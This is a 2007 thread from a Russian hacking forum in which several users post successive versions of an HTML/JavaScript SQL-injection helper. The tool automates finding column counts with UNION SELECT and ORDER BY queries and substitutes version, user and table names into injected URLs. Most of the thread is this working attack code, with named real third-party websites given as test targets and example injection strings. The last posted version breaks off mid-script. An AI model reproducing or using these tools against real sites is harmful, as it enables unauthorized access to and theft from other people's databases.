Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Javascript-автоматизация поиска колич. колонок (https://forum.antichat.xyz/showthread.php?t=46849)

-=lebed=- 16.08.2007 14:00

Javascript-автоматизация поиска колич. колонок
 
Вот написал для себя (за пару часов) небольшой скриптик автоматизации sql-inj для определения колличества колонок. Я конечно понимаю, что дорабатывать его можно очень много, поэтому прошу строго не судить, тем более на javascript я кодер никакой
Цитата:

(выделил специально для inv, чтоб не стебался понапрасну. прим. автора)
, а предлагать усовершенствования и показать недостатки т.п. Главное он пашет! :D

Итак версия alpha 0.01
PHP код:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<
html xmlns="http://www.w3.org/1999/xhtml">
<
head>
<
meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<
title>Подборщик колличества столбцов</title>
</
head>

<
script>
var 
url="http://";
var 
tek_url=url;
var 
s="";
var 
n=0;
function 
poisk(f) {
        
tek_url=document.search.url.value;
        
document.search.colum.value="?";
        
document.search.tek_url.value=document.search.url.value+"-1+union+select+";
        
tek_url=document.search.url.value+"-1+union+select+";
      
      while (
n<50)
      {
      
n++;
      if (
n==1) {s=s+n;}
      else {
s=s+","+n;}
      
tek_url=tek_url+s+"/*";
      
document.search.tek_url.value=tek_url;
      
document.search.colum.value=n;      
      
changePage(tek_url);
      
pause ();
      
      }
}
function 
changePage(p) {
        
document.getElementById"ifrm" ).src p;
     }




</
script>
<
form name=search method=post>
  <
label>Ведите путь до уязвимого скрпта
  
<input name="url" value="http://" size=160%>
  </
label><br>
  <
input onClick=poisk(search); type=button value="Подобрать число столбцов" name=calculateit>
  <
input readonly size=5 name=colum><br>
  
текущее значение<input name=tek_url size=180readonly>
</
form>
<
body onload="changePage()">
    <
iframe id="ifrm" src="" width="100%" height="500%"/>
  </
body>

</
html

Затестить можно так:
Вводим путь до уязвимого скрипта:
Код:

http://sololiteratura.com/php/autor.php?id=
Жмякаем пимпу подобрать колличество столбцов, видим ошибку, жмякаем ещё, снова ошибка, ещё раз! Опс! Вот и наша скуля... :D число столбцов = 3.

biophreak 16.08.2007 14:20

Прошу разрешения автора использовать его код!
Просто у меня немного все автоматизированее получается - просто не обязательно указывать скрипт и параметр - мой скрипт выдирает со страницы все ссылки и брутит их...

-=lebed=- 16.08.2007 14:30

Цитата:

Сообщение от biophreak
Прошу разрешения автора использовать его код!
Просто у меня немного все автоматизированее получается - просто не обязательно указывать скрипт и параметр - мой скрипт выдирает со страницы все ссылки и брутит их...

Ты сначала посмотри что он делает, он ведь не определяет саму скулю, а только вставляет колонки! Подобрал или нет ты оцениваешь чисто визуально, сам!

ЗЫ Используй на своё усмотрение код, я не против...

halkfild 16.08.2007 16:09

спасиба великий кодер =) /*не скрипт реально удобный*/

только если полей 50 или 30 то запаришься клацать :)
я лично определяю по ордер бай.. так намного быстрее

inv 16.08.2007 16:23

Цитата:

спасиба великий кодер
давай сразу в избранное

-=lebed=- 16.08.2007 17:03

Цитата:

Сообщение от halkfild
спасиба великий кодер =) /*не скрипт реально удобный*/

только если полей 50 или 30 то запаришься клацать :)
я лично определяю по ордер бай.. так намного быстрее

Согласен, замечание стоящее. Надо имхо сделать и эти способом, так меньше придётся делать запросов, если использовать метод бинарного поиска... (пополам, потом ещё пополам и т.д.) ;)

ЗЫ Вручную полтинник вставлять вообще замахаешься...

halkfild 17.08.2007 01:22

сделал с бинарным поиском...
полностю не тестил.. пару штук проверил вроде все ок..
вообщем вводите адрес вместес параметром
Цитата:

http://sololiteratura.com/php/autor.php?id=1
клацаете меньше пока не появится контент.. потом мона больше пока не появится ошибка.. вообщем там просто

PHP код:

 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
<
html xmlns="http://www.w3.org/1999/xhtml">
<
META name="author" content="halkfild">
<
META name="copyright" content="&copy; 2007 halkfild">  
 <
style
  
body 
  
{  
   
padding:10px;  
   
background:#2A2E33;  
   
font-family:tahomaverdanaarial;  
   
font-size:14px;  
   
text-align:center;  
   
color:#B9B9BD;  
  

  
form 
  
{  
   
padding:10px
   
border:1px solid #666;  
   
width:700px;  
   
margin:0 auto;  
  }
  
iframe
  
{  
   
padding:10px
   
border:1px solid #666;  
   
width:700px;
   
height:500px;  
   
margin:0 auto;  
  } 
  
input 
  
{  
   
vertical-align:middle;  
   
margin:1px 0;  
   
padding-right:10px;  
   
border:1px solid #336600;
   
padding:2px;  
   
background:#363940;  
   
color:#B9B9BD;  
  
}  
  </
style>  
<
head
<
meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
<
title>Подборщик количества столбцов &copyhalkfild</title
</
head

<
script
var 
url="http://sololiteratura.com/php/autor.php?id=1"//"http://"; 
var tek_url=url
var 
k=0;

var 
LL//left limit
var RL//right limit

 
function poisk(f) {
  
tek_url=document.search.url.value;
  
LL=document.search.llc.value*1;
  
RL=document.search.rlc.value*1;
  
rgurldocument.search.rurl.value;
  
tek_urltek_url "+order+by+";
  
  if (
f==1) { //>
  
LL=LL+Math.floor((RL-LL)/2);

  }
  else {      
//<
    
RL=LL+Math.floor((RL-LL)/2);    
  }
  
  
k=Math.floor(LL+(RL-LL)/2);
  
tek_urltek_url rgurl;
  
  
document.search.llc.value=LL;
  
document.search.rlc.value=RL;
  
document.search.tek_url.value=tek_url;
  
changePage(tek_url);

function 
changePage(p) { 
        
document.getElementById"ifrm" ).src p
     } 



</
script
<
form name=search method=post
  <
label>Ведите путь к уязвимому скрипту<br
  <
input name="url" value="http://sololiteratura.com/php/autor.php?id=1" style='width:388px;'>
  <
input name="rurl" value="/*&" style='width:200px;'>  
  </
label><br
  <
input onClick=poisk(1); type=button value="больше >" style='width:100px;'>
  <
input onClick=poisk(2); type=button value="меньше <" style='width:100px;'>
  
Границы поиска количества   
  
<input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/> 
  
адрессная строка(URL)<br/><input name=tek_url readonly style='width:600px;'><br/> 
</
form
<
body onload="changePage()"> <iframe id="ifrm" src="null"></body
</
html

з.ы. завтра нормально потестю..

*
[+] добавлена возможность использования правой части URL вида http://site.com/script.php?parametr=1[inj]&bla=bla&bla1=bla&bla2=bla

-=lebed=- 17.08.2007 04:26

Ждите теперь сборку 2in1, halkfild обещал всё это дело слить в один флакон...

halkfild 27.08.2007 00:45

ну вот я и приехал.. :)
вот cделал все одним файлом. можно выбирать каким методом будет производится подбор

PHP код:


  
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
<
html xmlns="http://www.w3.org/1999/xhtml">
<
META name="author" content="halkfild, -=lebed=-">
<
META name="copyright" content="&copy; 2007 halkfild">  
 <
style
  
body 
  
{  
   
padding:10px;  
   
background:#2A2E33;  
   
font-family:tahomaverdanaarial;  
   
font-size:14px;  
   
text-align:center;  
   
color:#B9B9BD;  
  

  
form 
  
{  
   
padding:10px
   
border:1px solid #666;  
   
width:700px;  
   
margin:0 auto;  
  }
  
iframe
  
{  
   
padding:10px
   
border:1px solid #666;  
   
width:700px;
   
height:500px;  
   
margin:0 auto;  
  } 
  
input 
  
{  
   
vertical-align:middle;  
   
margin:1px 0;  
   
padding-right:10px;  
   
border:1px solid #336600;
   
padding:2px;  
   
background:#363940;  
   
color:#B9B9BD;  
  
}
  
div 
  
{  
  
display:none;  
  }    
  </
style>  
<
head
<
meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
<
title>Подборщик количества столбцов &copyhalkfild & -=lebed=-</title
</
head

<
script
var 
url="http://sololiteratura.com/php/autor.php?id=1"//"http://"; 
var tek_url=url
var 
k=0;

var 
LL//left limit
var RL//right limit

var s=""
var 
n=0

 
function 
b_search(f) {
  
tek_url=document.binSearch.url.value;
  
LL=document.binSearch.llc.value*1;
  
RL=document.binSearch.rlc.value*1;
  
rgurldocument.binSearch.rurl.value;
  
tek_urltek_url "+order+by+";
  
  if (
f==1) { //>
  
LL=LL+Math.floor((RL-LL)/2);

  }
  else {      
//<
    
RL=LL+Math.floor((RL-LL)/2);    
  }
  
  
k=Math.floor(LL+(RL-LL)/2);
  
tek_urltek_url rgurl;
  
  
document.binSearch.llc.value=LL;
  
document.binSearch.rlc.value=RL;
  
document.binSearch.tek_url.value=tek_url;
  
changePage(tek_url);
}

function 
poisk(f) { 
        
tek_url=document.bruteSearch.url.value
        
document.bruteSearch.colum.value="?"
        
document.bruteSearch.tek_url.value=document.bruteSearch.url.  value+"-1+union+select+"
        
tek_url=document.bruteSearch.url.value+"-1+union+select+"
       
      while (
n<50
      { 
      
n++; 
      if (
n==1) {s=s+n;} 
      else {
s=s+","+n;} 
      
tek_url=tek_url+s+"/*"
      
document.bruteSearch.tek_url.value=tek_url
      
document.bruteSearch.colum.value=n;       
      
changePage(tek_url); 
      
pause (); 
       
      } 

 
function 
changePage(p) { 
  
document.getElementById"ifrm" ).src p
     } 

function 
dShow(type){
  if (
type==1) {
    
document.getElementById"brute" ).style.display='none'
    
document.getElementById"binary" ).style.display='inline';
  }
  else {
    
document.getElementById"binary" ).style.display='none';  
    
document.getElementById"brute" ).style.display='inline';
  }
}

</
script>
<
body onload="changePage()"
<
label><b>JavaScript-подборщик количества полей</b></label><br/>
  <
input type="radio" checked=1 name="type" onClick=dShow(1);>Binary search &copy; <b>halkfild</b>
  <
input type="radio" name="type" onClick=dShow(2);>Bruteforce &copy; <b>-=lebed=-</b><br/>
  
<
div id="binary" style='display:inline;'>
  <
form name=binSearch method=post
    <
label>Введите путь к уязвимому скрипту</label><br
    <
input name="url" value="http://" style='width:388px;'>
    <
input name="rurl" value="/*&" style='width:200px;'>  
    <
br
    <
input onClick=b_search(1); type=button value="больше >" style='width:100px;'>
    <
input onClick=b_search(2); type=button value="меньше <" style='width:100px;'>
    
Границы поиска количества   
    
<input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/> 
    
адрессная строка(URL)<br/><input name=tek_url readonly style='width:600px;'><br/> 
  </
form
</
div>

<
div id="brute">
  <
form name=bruteSearch method=post
    <
label>Введите путь до уязвимого скрипта 
    
<input name="url" value="http://" style='width:600px;'
    </
label><br
    <
input onClick=poisk(bruteSearch); type=button value="Подобрать число столбцов" name=calculateit
    <
input readonly size=5 name=colum><br
    
адрессная строка(URL)<input name=tek_url readonly style='width:600px;'
  </
form>
</
div>
   
<
iframe id="ifrm" src="null"></body
</
html

cделаю наверное еще автоподстановку версии и тд. но это уже завтра

з.ы. если есть какие-то предложения или конструктивная критика пишите

halkfild 27.08.2007 23:45

версия 0.2.1

[~] исправлены недочеты в последовательном переборе
[+] добавлена возможность выбора разделителя ('+','/**/', ' ') /*зы за идею отдельное спасибо +toxa+*/

PHP код:


 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
<
html xmlns="http://www.w3.org/1999/xhtml">
<
META name="author" content="halkfild, -=lebed=-">
<
META name="copyright" content="&copy; 2007 halkfild">  
 <
style
  
body 
  
{  
   
padding:10px;  
   
background:#2A2E33;  
   
font-family:tahomaverdanaarial;  
   
font-size:14px;  
   
text-align:center;  
   
color:#B9B9BD;  
  

  
form 
  
{  
   
padding:10px
   
border:1px solid #666;  
   
width:700px;  
   
margin:0 auto;  
  }
  
iframe
  
{  
   
padding:10px
   
border:1px solid #666;  
   
width:700px;
   
height:500px;  
   
margin:0 auto;  
  } 
  
input 
  
{  
   
vertical-align:middle;  
   
margin:1px 0;  
   
padding-right:10px;  
   
border:1px solid #336600;
   
padding:2px;  
   
background:#363940;  
   
color:#B9B9BD;  
  
}
  
div 
  
{  
  
display:none;  
  }    
  </
style>  
<
head
<
meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
<
title>Подборщик количества столбцов &copyhalkfild & -=lebed=-</title
</
head

<
script
var 
url="http://sololiteratura.com/php/autor.php?id=1"//"http://"; 
var tek_url=url
var 
k=0;

var 
LL//left limit
var RL//right limit

var s=""
var 
n=0

 
function 
b_search(f) {
  
tek_url=document.binSearch.url.value;
  
LL=document.binSearch.llc.value*1;
  
RL=document.binSearch.rlc.value*1;
  
rgurldocument.binSearch.rurl.value;
  var 
dlim document.binSearch.delimiter.value;
  
  
//tek_url= tek_url + "+order+by+";
  
tek_urltek_url dlim+"order"+dlim+"by"+dlim;
  
  if (
f==1) { //>
  
LL=LL+Math.floor((RL-LL)/2);

  }
  else {      
//<
    
RL=LL+Math.floor((RL-LL)/2);    
  }
  
  
k=Math.floor(LL+(RL-LL)/2);
  
tek_urltek_url rgurl;
  
  
document.binSearch.llc.value=LL;
  
document.binSearch.rlc.value=RL;
  
document.binSearch.tek_url.value=tek_url;
  
changePage(tek_url);
}

function 
poisk(f) { 
        
tek_url=document.bruteSearch.url.value
        
document.bruteSearch.colum.value="?";
        
        var 
dlim document.bruteSearch.delimiter.value;
         
        
//document.bruteSearch.tek_url.value=document.bruteSearch.url.  value+"-1+union+select+"; 
        
document.bruteSearch.tek_url.value=document.bruteSearch.url.value+"-1"+dlim+"union"+dlim+"select"+dlim;
        
tek_url=document.bruteSearch.url.value+"-1"+dlim+"union"+dlim+"select"+dlim;
       
      while (
n<50
      { 
      
n++; 
      if (
n==1) {s=s+n;} 
      else {
s=s+","+n;} 
      
tek_url=tek_url+s+"/*"
      
document.bruteSearch.tek_url.value=tek_url
      
document.bruteSearch.colum.value=n;       
      
changePage(tek_url); 
      
pause (); 
       
      } 

 
function 
changePage(p) { 
  
document.getElementById"ifrm" ).src p
     } 

function 
dShow(type){
  if (
type==1) {
    
document.getElementById"brute" ).style.display='none'
    
document.getElementById"binary" ).style.display='inline';
  }
  else {
    
document.getElementById"binary" ).style.display='none';  
    
document.getElementById"brute" ).style.display='inline';
  }
}

</
script>
<
body onload="changePage()"
<
label><b>JavaScript-подборщик количества полей</b></label><br/>
  <
input type="radio" checked=1 name="type" onClick=dShow(1);> Binary search &copy; <b>halkfild</b>
  <
input type="radio" name="type" onClick=dShow(2);> Bruteforce &copy; <b>-=lebed=-</b><br/>
  
<
div id="binary" style='display:inline;'>
  <
form name=binSearch method=post
    <
label>Введите путь к уязвимому скрипту</label><br
    <
input name="url" value="http://" style='width:388px;'>
    <
input name="rurl" value="/*&" style='width:200px;'>  
    <
br
    <
input onClick=b_search(1); type=button value="больше >" style='width:100px;'>
    <
input onClick=b_search(2); type=button value="меньше <" style='width:100px;'>
    
Границы поиска количества   
    
<input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/> 
    
адрессная строка(URL)<br/><input name=tek_url readonly style='width:545px;'> <input name=delimiter style='width:45px;' value="+"><br/> 
  </
form
</
div>

<
div id="brute">
  <
form name=bruteSearch method=post
    <
label>Введите путь до уязвимого скрипта</label><br/> 
    <
input name="url" value="http://" style='width:388px;'>
    <
input name="rurl" value="/*&" style='width:200px;'>  
    <
br>
    
Разделитель <input name=delimiter style='width:45px;' value="+">
    <
input onClick=poisk(bruteSearch); type=button value="Подобрать число столбцов" name=calculateit style='width:255px;'
    
Текущее количество <input readonly size=5 name=colum style='width:60px;'><br/> 
    
адрессная строка(URL)<input name=tek_url readonly style='width:600px;'
  </
form>
</
div>
   
<
iframe id="ifrm" src="null"></body
</
html


halkfild 01.09.2007 00:32

новая версия..
переписан почти весь код)
добавлено много нового
например перебор по таблицам, столбцам, подстановка версии и т.д.
хотел сделать и автоопределение, но там траблы с ифреймами будет в следующей версии

Код HTML:


 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<META name="author" content="halkfild">
<META name="copyright" content="&copy; 2007 halkfild"> 
<STYLE type="text/css">
  body
  {
  padding:10px; 
  background:#2A2E33; 
  font-family:tahoma, verdana, arial; 
  font-size:14px; 
  text-align:center; 
  color:#B9B9BD;
  scrollbar-3dlight-color:#2A2E33;
  scrollbar-arrow-color:#336600;
  scrollbar-base-color:#2A2E33;
  scrollbar-darkshadow-color:#336600; 
  }
  form
  { 
  padding:10px;
  border:1px solid #666; 
  width:700px; 
  margin:0 auto; 
  }
  iframe
  { 
  padding:10px;
  border:1px solid #666; 
  width:700px;
  height:500px; 
  margin:0 auto; 
  }
  input, textarea
  { 
  vertical-align:middle; 
  margin:1px 0; 
  padding-right:10px; 
  border:1px solid #336600;
  padding:2px; 
  background:#363940; 
  color:#B9B9BD; 
  }
  div {display:none;}
</STYLE>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Подборщик количества столбцов &copy; halkfild</title>
</head>

<script language="JavaScript">
var st=0,stl=0,met=1,scUrl;
var met=1;
var cl=0,tl=0;  //tableslist, columnslist
var cc;        //curent columns
function b_search(f) {
  var k;
  var tmpUrl=document.binSearch.url.value;
  var LL=document.binSearch.llc.value*1;      //left limit
  var RL=document.binSearch.rlc.value*1;      //right limit
  var rgurl= document.binSearch.rurl.value;
  var dlim = document.binSearch.delimiter.value;
 
  tmpUrl += dlim+"order"+dlim+"by"+dlim;
 
  if (f==1) { //>
    LL=LL+Math.floor((RL-LL)/2);
  }
  else {      //<
    RL=LL+Math.floor((RL-LL)/2);   
  }
 
  k=Math.floor(LL+(RL-LL)/2);
  tmpUrl += k + rgurl;
 
  document.binSearch.llc.value=LL;
  document.binSearch.rlc.value=RL;
  document.binSearch.cUrl.value=tmpUrl;
  changePage(tmpUrl);
}
function br_search(count) {
  var lUrl = document.bruteSearch.url.value;
  var rUrl = document.bruteSearch.rurl.value;
  var dlim = document.bruteSearch.delimiter.value;
  var count= document.bruteSearch.colum.value*1+1;
  var tmpUrl,n=0;
  var res = lUrl.match(/(http.+=)([a-zA-Z0-9]+)/i);
  tmpUrl = res[1]+"-"+res[2]+dlim+"union"+dlim+"select"+dlim;
       
  while (n<count){
      n++;
      tmpUrl += n+""+n+""+n+""+n+""+n+",";
  }
  tmpUrl = tmpUrl.slice(0,-1) + rUrl
  document.bruteSearch.cUrl.value = tmpUrl;   
  document.bruteSearch.colum.value = n;
  changePage(tmpUrl);
}
function changePage(p) { document.getElementById( "ifrm" ).src = p;}
function dShow(type){
  if (type==1) {
    document.getElementById("brute").style.display='none';
    document.getElementById("binary").style.display='inline';
    met=1;
  }
  else if (type==2) {
    document.getElementById("binary").style.display='none'; 
    document.getElementById("brute").style.display='inline';
    met=2;
  }
  else if (type==3) {
          if (st==0) {
                  document.getElementById("substitution").style.display='none';
                  st=1;
          }
    else  {
                    document.getElementById("substitution").style.display='inline';
                    st=0;
                    var dlim = document.binSearch.delimiter.value;
            if (met==1) {
                var str = document.binSearch.cUrl.value;
                  var re = str.match(/(http.+\d+).+order.+by[^0-9](\d+)(.+)/i);
                        var res = str.match(/(http.+=)([a-zA-Z0-9]+)/i);
                        scUrl = getSelect(res[1]+"-"+res[2], re[3], re[2]);
                        document.subst.sUrl.value = scUrl;                       
                    }
                    else {
                        var str = document.bruteSearch.cUrl.value;
                        var res = str.match(/(http.+=-[a-zA-Z0-9].+union.+select.+),[a-zA-Z0-9]+(.+)/i);
                        scUrl = res[1]+res[2];
                        document.subst.sUrl.value = scUrl;
         
      }
      changePage(document.subst.sUrl.value);
                  }
  }
  else if (type==4) {
    if (stl==0) {
                  document.getElementById("list").style.display='none';
                  stl=1;
          }
    else  {
                    document.getElementById("list").style.display='inline';
                    stl=0;
    }
  }
}
function getSelect (left, right, count) {
  var dlim = document.binSearch.delimiter.value;
        var tmp=left+dlim+"union"+dlim+"select"+dlim;
        for (var i=0; i<count; i++)        {
                tmp = tmp + (i+1)+(i+1)+(i+1)+(i+1)+(i+1)+ ",";  //много 11 для поиска
        }
        tmp = tmp.slice(0,-1) + right;
return tmp;
}
function getSubstr (id) {
  var elem = document.getElementById(id).value;
  var rs = elem.split(/\n/);
return rs;
}
function tuck (type) {
  var dlim = document.binSearch.delimiter.value;
  if (type==1) {
    var el = getSubstr("columns");
    if (cl<el.length) {
      setUrl(el[cl]);
      cl++;
    }
    else {
      alert("Перебор по списку столбцов окончен");
      cl=0;
    }
  }
  else {
    var el = getSubstr("tables");
    if (tl<el.length) {
      var str = scUrl
      var res = str.match(/(http.+=-[a-zA-Z0-9].+union.+select.+,[a-zA-Z0-9]+)(.+)/i);
      document.subst.sUrl.value=res[1]+dlim+"from"+dlim+el[tl]+dlim+res[2];
      changePage(document.subst.sUrl.value);
      tl++;
    }
    else {
      alert("Перебор по списку таблиц окончен");
      tl=0
    }
  }
}
function searchword(){
  var r,i,s=document.selection.createRange().text;
 
  if(!s)s=prompt('Найти:','');
  if(s){
      r=document.body.createTextRange();
      for(i=0;r.findText(s);i++){
        r.execCommand('BackColor','','lightyellow');
        r.collapse(false)
      }
      alert('Найдено: '+i+' слово(а)')
    }
}
function setUrl(param) {
  var num = document.subst.colNum.value;
  var str = scUrl;
 
  var pnum= num+""+num+""+num+""+num+""+num;
  var pattern = RegExp("(http.+=-[a-zA-Z0-9].+union.+select.+)"+pnum+"(.+)","i");
  var qqq = str.match(pattern);
  var result = qqq[1]+param+qqq[2];
  document.subst.sUrl.value = result;
  changePage(result);
}
</script>


<body onload="changePage()">
<label><b>JavaScript-подборщик количества полей</b></label><br/>
  <input type="radio" checked=1 name="type" onClick=dShow(1);> Binary search &copy; <b>halkfild</b>
  <input type="radio" name="type" onClick=dShow(2);> Bruteforce &copy; <b>-=lebed=-</b><br/>
 
<div id="binary" style='display:inline;'>
  <form name=binSearch method=post>
    <label>Введите путь к уязвимому скрипту</label><br/>
    <input name="url" value="http://" style='width:388px;'>
    <input name="rurl" value="/*&" style='width:200px;'> 
    <br>
    <input onClick=b_search(1); type=button value="больше >" style='width:100px;'>
    <input onClick=b_search(2); type=button value="меньше <" style='width:100px;'>
    Границы поиска количества 
    <input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/>
    адрессная строка(URL)<br/><input name=cUrl readonly style='width:545px;'> <input name=delimiter style='width:45px;' value="+"><br/>
  </form>
</div>

<div id="brute">
  <form name=bruteSearch method=post>
    <label>Введите путь до уязвимого скрипта</label><br/>
    <input name="url" value="http://" style='width:388px;'>
    <input name="rurl" value="/*&" style='width:200px;'> 
    <br>
    Разделитель <input name=delimiter style='width:45px;' value="+">
    <input onClick=br_search(); type=button value="Подобрать число столбцов" name=calculateit style='width:255px;'>
    Текущее количество <input readonly size=5 name=colum style='width:60px;'><br/>
    адрессная строка(URL)<input name=cUrl readonly style='width:600px;'>
  </form>
</div>


<form name=subst>
  <p id=resize onclick="dShow(3)" style='text-align:center;cursor:hand' UNSELECTABLE='on'>Подстановка значений</p>
  <div id="substitution">
    <input name=sUrl style='width:500px;'><input type=button onClick=changePage(document.subst.sUrl.value) value="Обновить" style='width:100px;'>

    <p id=resize onclick="dShow(4)" style='text-align:center;cursor:hand' UNSELECTABLE='on'>Подбор таблиц и столбцов</p>
    <div id="list">
      Столбец <input name="colNum" value="1" style='width:40px;'>
      Системная информация <input value="на стадии разработки" style='width:200px;'>
      <input type=button onClick="setUrl('concat_ws(0x3a,version,database,user)');" value="информация" style='width:120px;'>
      <textarea id="columns" cols=35 rows=7>Скопируйте сюда список полей</textarea>
      <textarea id="tables" cols=35 rows=7>Скопируйте сюда список таблиц</textarea>
      <input type=button onClick="tuck(1)" value="Подобрать" style='width:297px;'>
      <input type=button onClick="tuck(2)" value="Подобрать" style='width:297px;'>     
    </div>
   
  </div>
</form>
 
<iframe id="ifrm" src="null"></body>
</html>

нормально не тестил просто уезжаю..

в сведущей версии будет, наверное )) :D :
- отлов старых багов))
может автоопределение выводимого столбца, если с ифреймами все решится.. :mad:
- вывод имен таблиц и столбцов если версия больше 5

ну и еще что-то придумаем :D

з.ы. вставлять надо адрес с последним уязвимым параметром БЕЗ минуса

http://127.0.0.1/lab/injector.php?id=2 + правая часть

mindw0rk 01.09.2007 02:47

Спасибо, дико полезная вещь.

ant0ha 01.09.2007 19:58

Реализация конечно классная, но всетаки ручками такие вещи делать интереснее

Ch3ck 01.09.2007 20:04

Цитата:

Реализация конечно классная, но всетаки ручками такие вещи делать интереснее
Чем?

genom-- 01.09.2007 20:58

лично я не понимаю зачем переписывать еще раз то что уже написано - вот у электа класная тулза -- и им подобным уже докуя - хз зачем?
неужели не жалко своего времени и сил?

ant0ha 01.09.2007 23:54

Цитата:

Сообщение от Dr.Check
Чем?

А какой интерес тогда вобще чтото ломать, когда все за тебя будет делать программа.

-=lebed=- 23.10.2007 16:49

Модернизировал подборщик столбцов (только свою часть скрипта!)
Добавлено:
- возможность ввода начального (предполагаемого) количества столбцов.
- инкремент, декремент на 1.
- возможность указания разделителя и начального параметра:
PHP код:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
<
html xmlns="http://www.w3.org/1999/xhtml"
<
style>  
  
body  
  
{   
   
padding:10px;   
   
background:#2A2E33;   
   
font-family:tahomaverdanaarial;   
   
font-size:14px;   
   
text-align:center;   
   
color:#B9B9BD;   
  
}  
  
form  
  
{   
   
padding:10px;  
   
border:1px solid #666;   
   
width:700px;   
   
margin:0 auto;   
  } 
  
iframe 
  
{   
   
padding:10px;  
   
border:1px solid #666;   
   
width:700px
   
height:500px;   
   
margin:0 auto;   
  }  
  
input  
  
{   
   
vertical-align:middle;   
   
margin:1px 0;   
   
padding-right:10px;   
   
border:1px solid #336600; 
   
padding:2px;   
   
background:#363940;   
   
color:#B9B9BD;   
  

  
div  
  
{   
  
display:none;   
  }     
  </
style>  
<
head
<
meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
<
title>JavaScript SQL-injector by -=lebed=-</title
</
head

<
script
var 
sp = new Array(); /*сепаратор.*/
sp[0]="+";
sp[1]="/**/";
sp[2]=" ";

var 
url="http://"/*целевой URL*/
var tek_url=url/*текуший URI*/
var s=""/*накопитель*/
var n=0

function 
get_url(f) {
      
url=document.search.url.value;
      
n=1;    
      
s="1";
      
b=document.search.separator.value;
      
p=document.search.parametr.value;        
while (
n<document.search.colum.value)
      {
      
n++;
      if (
n==1) {s=n;} 
      else {
s=s+","+n;}
       
      } 
      
tek_url=url+p+sp[b]+"union"+sp[b]+"select"+sp[b]+s+"/*";
      
document.search.tek_url.value=tek_url
      
document.search.colum.value=n;     
      
changePage(tek_url); 
      
pause (); 
}

function 
inc(f) {
    
document.search.colum.value++
    
get_url(f)
}
     
function 
dec(f) {
     
document.search.colum.value--
     
get_url(f)
}

function 
changePage(p) { 
        
document.getElementById"ifrm" ).src p
     } 

</
script
<
form name=search method=post
  <
label>Ведите путь до уязвимого скрипта 
  
<input name="url" value="http://" size=110%> 
  </
label><br
  
параметр: <input size=5 name=parametr value="-1">
  
разделитель: <select name=separator>
              <
option value=0 selected>+
              <
option value=1>/**/
              
<option value=2>пробел
              
</select>
  
колонок: <input size=5 name=colum>
  <
input onClick=inc(search); type=button value="+" name=calculateit>
  <
input onClick=dec(search); type=button value="-" name=calculateit>
  <
input onClick=get_url(search); type=button value="ОК" name=calculateit><br>
  
текущее значение: <input name=tek_url size=110readonly>

</
form
<
body onload="changePage()"
    <
iframe id="ifrm" src="" width="100%" height="500%"/> 
  </
body

</
html

Пример:
Цитата:

Путь до скрипта: http://ru-board.com/new/print.php?
Параметр: sid=-1
Разделитель: +
Вводим, например, Колонок:3 и нажимаем ОК, далее делаем инкремент (жмякаем "+") 3 раза -> получаем вывод полей. (всего 6 столбцов)

В планах:
- вывод полезной инфы из отображаемого столбца (user(), version() и т.д.)
- подстановка в запрос имён таблиц и столбцов из словаря (списка).

-=lebed=- 30.10.2007 15:19

Новая версия! (alpha 0.03)
PHP код:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
<
html xmlns="http://www.w3.org/1999/xhtml"
<
style>  
  
body  
  
{   
   
padding:10px;   
   
background:#2A2E33;   
   
font-family:tahomaverdanaarial;   
   
font-size:14px;   
   
text-align:center;   
   
color:#B9B9BD;   
  
}  
  
form  
  
{   
   
padding:10px;  
   
border:1px solid #666;   
   
width:700px;   
   
margin:0 auto;   
  } 
  
iframe 
  
{   
   
padding:10px;  
   
border:1px solid #666;   
   
width:700px
   
height:500px;   
   
margin:0 auto;   
  }  
  
input  
  
{   
   
vertical-align:middle;   
   
margin:1px 0;   
   
padding-right:10px;   
   
border:1px solid #336600; 
   
padding:2px;   
   
background:#363940;   
   
color:#B9B9BD;   
  

  
div  
  
{   
  
display:none;   
  }     
  </
style>  
<
head
<
meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
<
title>JavaScript SQL-injector by -=lebed=-</title
</
head

<
script
var 
sp = new Array(); /*сепаратор.*/
sp[0]="+";
sp[1]="/**/";
sp[2]=" ";

var 
end =new Array(); /*комментарий (коцовка)*/
end[0]="/*";
end[1]="--";

var 
limit =new Array(); /*limit*/
limit[0]="";
for (
i=1100i++) {limit[i]=i;}

var 
tables_name =new Array(); /*имена таблиц*/
tables_name[0]="";
tables_name[1]="information_schema.tables";
tables_name[2]="users";


= new Array()
for (
i=1100i++) {
   
t[i] = new Array() 
   
t[i][0] = i;
   
